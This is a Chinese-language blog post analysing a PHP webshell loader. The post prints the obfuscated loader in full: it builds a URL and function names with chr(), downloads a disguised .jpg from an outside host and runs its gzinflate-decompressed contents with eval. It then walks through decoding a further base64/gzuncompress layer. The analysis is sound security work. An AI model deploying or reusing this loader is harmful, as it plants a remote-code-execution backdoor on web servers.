PHP大马后门分析

当然,这个大马是能用的,过了几天,我就开始研究起来了这个大马

解决编码问题

那么,notepad++打开(我只有这个哈),发现代码使用chr()进行编码,chr是php的一个函数,他从不同的 ASCII 值返回字符,刚好,我这里的chr都是包裹着ascii码的,编码方式也知道
我还是把大马内容拿出来吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$admin['check'] = false;
$password = 'admin';//设置密码
$c = "chr";
session_start();
if (empty($_SESSION['PhpCode'])) {
$url = $c(104).$c(116).$c(116).$c(112).$c(58).$c(47).$c(47);
$url .= $c(119).$c(119).$c(119).$c(46).$c(97).$c(52).$c(52);
$url .= $c(57).$c(52).$c(52).$c(46).$c(99).$c(111).$c(109).$c(47);
$url .= $c(112).$c(104).$c(112).$c(46).$c(106).$c(112).$c(103);
$get = chr(102) . chr(105) . chr(108) . chr(101) . chr(95);
$get .= chr(103) . chr(101) . chr(116) . chr(95) . chr(99);
$get .= chr(111) . chr(110) . chr(116) . chr(101) . chr(110);
$get .= chr(116) . chr(115);
$_SESSION['PhpCode'] = $get($url);
}
$unzip = $c(103) . $c(122) . $c(105) . $c(110);
$unzip .= $c(102) . $c(108) . $c(97) . $c(116) . $c(101);
@eval($unzip($_SESSION['PhpCode']));

细心一点的同学会发现问题,这个php代码最后一排怎么少了?> 符号呢?
那么我们来慢慢开始读代码,看到那个$c = “chr”;
然后下面有一个:session_start(); 当然,这个我也不太知道是干嘛用的,毕竟不会php,好像是启动会话,
Session 的工作机制是:为每个访问者创建一个唯一的 id (UID),并基于这个 UID 来存储变量。UID 存储在 cookie 中,亦或通过 URL 进行传导。
他可以存储和取回session变量,具体大家还是百度一下这个吧。
接下来,一个if语句,判断这个是否有取回的session变量,当然,执行到这一步,并没有后面那个phpcode,所以直接执行if语句
c=chr,拿出我们的ascii表对应,发现104=h,116=t,那就不用猜了,这应该是一个网址,接着,为了能马上得出结果,打开pycharm
写了一个正则加for循环的代码,一共大概6行代码,然后直接将后面的内容翻译出来了,

1
2
3
4
5
6
import re
string = "$c(104).$c(116).$c(116).$c(112).$c(58).$c(47).$c(47)$c(119).$c(119).$c(119).$c(46).$c(97).$c(52).$c(52);$c(57)" \
".$c(52).$c(52).$c(46).$c(99).$c(111).$c(109).$c(47);$c(112).$c(104).$c(112).$c(46).$c(106).$c(112).$c(103);"
result = re.findall(r'(\w*[0-9]+\w*)', string)
for line in result:
print(chr(int(line)), end="")

大概就这样吧,
输出结果:http://www.a44944.com/php.jpg, 没错,的确是一个网址,我们连接的是一张图片
那他是怎么连接的呢
我把$get和$unzip里面的内容拿去python里面运行了一下,$get=file_get_contents函数,$unzip=gzinflate函数
$_SESSION[‘PhpCode’] = $get($url);就成了$_SESSION[‘PhpCode’] = file_get_contents(http://www.a44944.com/php.jpg);
最后一排的gzinflate函数就去解压前面的内容,好像他们是字符串,所以用eval去执行,
就是这样,我们理解了原理,难怪它只有这么几行代码

查看图片内容

网址有了,打开浏览器,去地址栏访问这个网址,没错,是一样损坏了的图片,这就基本的肯定了这个图片里面有我们想要的内容,应该就是php代码吧,我直接将图片下载下来,用notepad++打开,结果乱码,改为txt文件,还是乱码
想起来好像他这个在我们连接时使用了gzinflate函数进行解压,所以他应该是被压缩了的,为了能够看着很方便
我直接从新写了一个php

1
2
3
4
5
6
<?php
session_start();
$url = "http://127.0.0.1/webpentest/upload/upload/php.jpg"; //这里我将这个图片下载下来了的,所以连接的本地的
$get = "file_get_contents";
$_SESSION['PhpCode'] = $get($url);
echo(gzinflate($_SESSION['PhpCode']));

直接去连接,但是不执行了eval了,直接用echo输出,看到前面的$_SESSION产生了一个会话,成功后用gzinflate去解压,用echo输出结果,我们要的代码就这样出来了,但是代码出来后发现很奇怪,前面几行没问题,但是发现后面又全是乱码
Alt text
又要慢慢开始读代码了,太乱了,按了ctrl+u,查看源代码
一打开,就看到了这句:

1
e'.'v'.'a'.'l(g'.'z'.'un'.'co'.'mp'.'re'.'ss(bas'.'e64_'.'deco'.'de(\'eJzs/fl7HNd1J4z/TD+......

又了eval,随便瞄了一眼后面的函数,又了拼接,主要就是看到了base64_decode,原来是base64加密,果断的将eval改为了echo,发现不能输出,纳闷了,怎么不行,又开始找原因
试了试将所有代码全部保存出来,接着用解密代码试试能不能解出base64

1
2
3
4
5
6
7
8
9
10
<?php
$Code = '这个地方放base64_decode加密的代码';
$File = 'decoded.php';//解码后保存的文件
$Temp = base64_decode($Code);
$temp = gzuncompress($Temp);
$FP = fopen($File,"w");
fwrite($FP,$temp);
fclose($FP);
echo"解密成功!";
?>

当然,我毫不犹豫的将乱码复制到了这个里面,看到当前目录新增了一个文件,这回对了,应该出来了,打开一看,php大马内容呈现出来了,大概就这么多吧,没什么技术含量,但是要细心,不懂的马上谷歌百度,比如我在中途就将gzuncompress看成了gzinflate函数,然后导致中途出现了很多意外,接下来我就开始了慢慢找这个php大马里面是否还有后门了,毕竟现在黑吃黑真的不少,没人愿意将自己写了几个小时,甚至几天的马随便扔出来给其他人用。

本文标题:PHP大马后门分析

文章作者:smelond

发布时间:2018年04月11日 - 08:04

最后更新:2018年04月11日 - 14:04

原始链接:http://smelond.com/2018/04/11/PHP大马后门分析/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

分享